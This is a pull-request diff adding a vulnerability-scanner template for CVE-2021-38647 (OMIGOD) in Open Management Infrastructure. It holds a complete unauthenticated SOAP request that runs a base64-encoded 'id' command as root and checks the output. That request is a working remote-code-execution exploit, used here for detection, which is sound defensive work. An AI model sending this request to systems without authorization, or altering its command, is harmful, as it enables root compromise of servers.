Merge pull request #2681 from daffainfo/patch-217

OMIGOD - Open Management Infrastructure RCE

cves/2021/CVE-2021-38647.yaml

@@ -0,0 +1,64 @@
+id: CVE-2021-38647
+
+info:
+  name: OMIGOD - Open Management Infrastructure RCE
+  author: daffainfo,xstp
+  severity: critical
+  tags: cve,cve2021,rce,omi,microsoft
+  description: Open Management Infrastructure Remote Code Execution Vulnerability
+  reference:
+    - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
+    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647
+    - https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647
+    - https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/
+    - https://github.com/microsoft/omi
+
+requests:
+  - raw:
+      - |
+        POST /wsman HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/soap+xml;charset=UTF-8
+
+        <s:Envelope
+          xmlns:s="http://www.w3.org/2003/05/soap-envelope"
+          xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
+          xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration"
+          xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
+          xmlns:xsi="http://www.w3.org/2001/XMLSchema"
+          xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell"
+          xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
+          <s:Header>
+            <a:To>HTTP://127.0.0.1:5985/wsman/</a:To>
+            <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
+            <a:ReplyTo>
+              <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
+            </a:ReplyTo>
+            <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>
+            <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
+            <a:MessageID>uuid:00B60932-CC01-0005-0000-000000010000</a:MessageID>
+            <w:OperationTimeout>PT1M30S</w:OperationTimeout>
+            <w:Locale xml:lang="en-us" s:mustUnderstand="false"/>
+            <p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>
+            <w:OptionSet s:mustUnderstand="true"/>
+            <w:SelectorSet>
+              <w:Selector Name="__cimnamespace">root/scx</w:Selector>
+            </w:SelectorSet>
+          </s:Header>
+          <s:Body>
+            <p:ExecuteScript_INPUT
+              xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
+              <p:Script>aWQ=</p:Script>
+              <p:Arguments/>
+              <p:timeout>0</p:timeout>
+              <p:b64encoded>true</p:b64encoded>
+            </p:ExecuteScript_INPUT>
+          </s:Body>
+        </s:Envelope>
+
+    matchers:
+      - type: word
+        words:
+          - '<p:StdOut>'
+          - 'uid=0(root) gid=0(root) groups=0'
+        condition: and